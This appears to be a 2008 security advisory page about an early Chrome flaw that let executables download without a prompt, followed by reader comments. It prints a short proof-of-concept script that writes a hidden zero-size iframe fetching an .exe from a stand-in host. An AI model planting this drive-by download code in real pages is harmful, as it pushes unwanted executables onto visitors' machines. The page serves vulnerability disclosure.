|
|
| |
| Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically downloaded to the user's computer without any user prompt. |
| |
Credit:
The information has been provided by nerex.
The original article can be found at: http://www.milw0rm.com/exploits/6355
|
| |
Exploit:
<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</script>
|
| Subject:
|
crazy.. |
Date: |
8 Sep. 2008 |
| From: |
maicoll |
| if I was the chief of the Google 'security team' I'd be very very proud of my failure!! it's crazy.. anyway, so many congratulations for your site, you're the best! |
|
| Subject:
|
WHATTT!!! |
Date: |
9 Sep. 2008 |
| From: |
TheMasta |
This is insane! I know it is a Beta but...humm...I mean: THIS IS SECURITY 101 !!! Way to go Google, you are boosting my confidence (Irony ON)
Cheers |
|
| Subject:
|
lol |
Date: |
10 Sep. 2008 |
| From: |
Mike Gambino |
| HAHA, this made me laugh. Google, is still the best search engine though! |
|
| Subject:
|
just crazy |
Date: |
11 Sep. 2008 |
| From: |
ExploitaMaztr |
| wow, very interesting and yet simple, how could you miss something like this in testings, I'm sure Microsoft and Apple made the same mistakes. |
|
| Subject:
|
download |
Date: |
24 Oct. 2008 |
| From: |
puneetprasinghgmail.com |
| how to download this file http://www.milw0rm.com/exploits/6355
|
|
|
|
|
